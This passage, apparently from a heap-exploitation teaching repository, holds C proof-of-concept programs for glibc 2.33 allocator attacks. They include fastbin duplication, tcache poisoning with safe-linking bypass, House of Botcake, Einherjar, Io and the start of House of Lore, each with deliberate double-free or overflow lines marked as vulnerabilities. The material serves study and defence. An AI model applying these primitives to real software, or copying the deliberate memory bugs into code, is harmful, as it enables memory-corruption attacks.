    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.33/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.33/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.33/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_io.c",
    "content": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use after free Variant\n// ====================================\n//\n// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/\n//\n// Tested on libc versions 2.31, 2.32 and 2.33.\n//\n// House of Io makes use of the fact, that when freeing a chunk into the tcache\n// the chunk will receive a pointer to the tcache management struct which has\n// been allocated beforehand. This pointer is the tcache->key entry of a free'd\n// tcache chunk. There are three different versions of this attack and all work\n// even with safe-link enabled, as the tcache-key pointer, and more importantly\n// the pointers in the tcache_perthread_struct, are not protected.\n//\n// House of Io only works in libc versions 2.29 - 2.33, because in these\n// versions the key of a tcache entry is the pointer to the tcache management\n// struct. This can allow an attacker to carry out a tcache_metadata_poisoning\n// attack.\n//\n// However the exploit primitives are very constrained as stated in the source.\n// Negative overflows are very rare and so is the needed order of specific frees\n// for the double free variant. This use after free is a bit more realistic.\n\nunsigned long global_var = 1;\n\nstruct overlay {\n  uint64_t *next;\n  uint64_t *key;\n};\n\nstruct tcache_perthread_struct {\n  uint16_t counts[64];\n  uint64_t entries[64];\n};\n\nint main() {\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  puts(\"In house of Io we make use of the fact, that a free'd tcache chunk\\n\"\n       \"gets a pointer to the tcache management struct inserted at the\\n\"\n       \"second slot.\\n\");\n\n  puts(\n      \"This variant is the use-after-free variant and can be used, if the\\n\"\n      \"free'd struct has a pointer at offset +0x08, which can be read from\\n\"\n      \"and written to. This pointer will be the tcache->key entry of the\\n\"\n      \"free'd chunk, which contains a pointer to the tcache management\\n\"\n      \"struct. If we use that pointer we can manipulate the tcache management\\n\"\n      \"struct into returning an arbitrary pointer.\\n\");\n\n  printf(\"Specifically we get a pointer to the `global_var` at %p returned to\\n\"\n         \"us from malloc.\\n\\n\",\n         &global_var);\n\n  puts(\"First we have to allocate a struct, that has a pointer at offset\\n\"\n       \"+0x08.\\n\");\n  struct overlay *ptr = malloc(sizeof(struct overlay));\n\n  ptr->next = malloc(0x10);\n  ptr->key = malloc(0x10);\n\n  puts(\"Then we immedietly free that struct to get a pointer to the tcache\\n\"\n       \"management struct.\\n\");\n  free(ptr);\n\n  printf(\"The tcache struct is located at %p.\\n\\n\", ptr->key);\n  struct tcache_perthread_struct *management_struct =\n      (struct tcache_perthread_struct *)ptr->key;\n\n  puts(\n      \"Now that we have a pointer to the management struct we can manipulate\\n\"\n      \"its values. First we potentially have to increase the counter of the\\n\"\n      \"first bin by to a number higher than zero, to make the tcache think we\\n\"\n      \"free'd at least one chunk. In our case this is not necesarry because\\n\"\n      \"the `overlay` struct fits in the first bin and we have free'd that\\n\"\n      \"already. The firest member of the tcache_perthread_struct is the array\\n\"\n      \"of counters. So by overwriting the first element of our pointer we set\\n\"\n      \"the correct value in the array.\\n\");\n  management_struct->counts[0] = 1;\n\n  printf(\"Before we overwrite the pointer in the tcache bin, the bin contains\\n\"\n         \"[ %p ]. This is the same as the free'd overlay struct which we\\n\"\n         \"created at the start [ %p == %p ].\\n\\n\",\n         management_struct->entries[0], management_struct->entries[0], ptr);\n  management_struct->entries[0] = (uint64_t)&global_var;\n  printf(\n      \"After the write we have placed a pointer to the global variable into\\n\"\n      \"the tcache [ %p ].\\n\\n\",\n      management_struct->entries[0]);\n\n  puts(\"If we now allocate a new chunk from that tcache bin we get a pointer\\n\"\n       \"to our target location.\\n\");\n  uint64_t *evil_chunk = malloc(0x10);\n\n  assert(evil_chunk == &global_var);\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.33/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the 